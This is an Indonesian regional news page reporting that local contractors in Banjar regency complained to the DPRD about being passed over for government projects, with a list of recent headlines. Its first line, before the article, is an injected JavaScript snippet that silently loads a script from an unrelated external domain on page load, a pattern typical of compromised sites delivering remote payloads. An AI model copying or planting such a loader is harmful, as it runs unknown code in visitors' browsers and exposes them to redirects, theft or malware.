(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Sulit Dapat Proyek, Forum Kontraktor Banjar Curhat Ke DPRD Banjar


MARTAPURA, Adukan sulitnya dapat proyek Di Kabupaten Banjar, puluhan kontraktor lokal yang tergabung Forum Koalisi Kontraktor Kabupaten Banjar lakukan pertemuan dengan anggota DPRD Kabupaten Banjar, Senin (25/3).

Wakil Ketua DPRD Banjar Saidan Fahmi, yang kala itu menyambut kedatangan kotraktor tersebut mengatakan, dalam pertemuan kali ini hanya dapat mengeksplorasi untuk kedepan akan kembali mengagendakan pertemuan kembali setelah rapat Badan Musyawarah (Banmus).

“Hari ini kita sudah menangkap apa tujuan dan keinginan para kontraktor datang DPRD Banjar, yang intinya kurang ada porsi kontraktor daerah di proyek pemerintah daerah,” ujarnya.

Sementara itu, hasil pertemuan berikutnya akan kembali diekplorasi kembali ketika mengadakan pertemuan dengan beberapa ketua komisi seperti diantaranya komisi III DPRD Banjar dan kepala SKPD lingkup Kabupaten Banjar. “Nanti akan dijadwalkan kembali pada 8 April mendatang,”akunya.

­­­Diketahui kedatangan Forum Kontraktor tersebut mendatangi DPRD Banjar, sebagai tindak lanjut gagalnya pertemuan dengan Kepala Dinas PUPR Banjar, Wakil Bupati Banjar dam Bupati Banjar, Selasa (19/3) lalu. Mereka mengeluhkan sulitnya dapat proyek di tiga tahun masa kepemimpinan Bupati Banjar.

“Selama ini kita kontraktor lokal khususnya untuk proyek pekerjaan Petunjukan Langsung (PL) di bawah nilai Rp 200 juta tidak pernah mendapatkan pekerjaan, istilahnya kita tidur selama Bupati Banjar yang ini,” ujar Koordinator Persatuan Kontraktor Banjar H Taufikurrahman kepada Kanal Kalimantan Senin (25/3).

Taufik menilai sekarang kontraktor luar daerah lebih diutamakan ketimbang kontraktor lokal. Dirinya juga mengaku sebelum masa kepemimpinan Bupati Khalilurrahman kontraktor lokal di bina oleh kepala daerah sehingga lebih gampang untuk mendapatkan pekerjaan, minimal 2 kali dalam satu tahun. “Yang kita sayangkan proyek sekarang ini banyak dimasuki oleh orang luar, sehingga kita bahkan dalam setahun itu nihil pekerjaan,” akunya. (rendy)

Reporter : Rendy
Editor : Chell
Desy Arfianty

Recent Posts

Liang Anggang Masih Terendam, BPBD Banjarbaru Buka Empat Posko

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarbaru mencatat ada 732 Kepala Keluarga… Read More

12 jam ago

Uji Coba Program MBG di SDN Murung Sari 1 Amuntai, Ini Respon Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan memberikan respon positif… Read More

16 jam ago

Dua Sopir ‘Kurir’ Uang Suap Rp1 Miliar, Begini Pengakuannya di Sidang

KANALKALIMANTAN.COM, BANJARMASIN - Sopir mantan Kepala Dinas (Kadis) dan Kepala Bidang (Kabid) Cipta Karya PUPR… Read More

18 jam ago

Pede Tampil Pakai Karya Sendiri dalam Fashion Show Penjahit Star Action 2025

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah penjahit di Kalimantan Selatan adu unjuk busana di atas panggung fashion… Read More

21 jam ago

Jembatan di Komplek Bumi Mas Asri Rusak Pasca Tergenang Air

KANALKALIMANTAN.COM, BANJARMASIN - Genangan banjir yang bertahan lama menyebabkan kerusakan jalan dan jembatan di Kota… Read More

22 jam ago

Mastah Trauma Banjir Besar 2021 Terulang, Sulit Dapat Air Bersih

BPBD Banjar Mencatat Tujuh Kecamatan Tergenang Read More

1 hari ago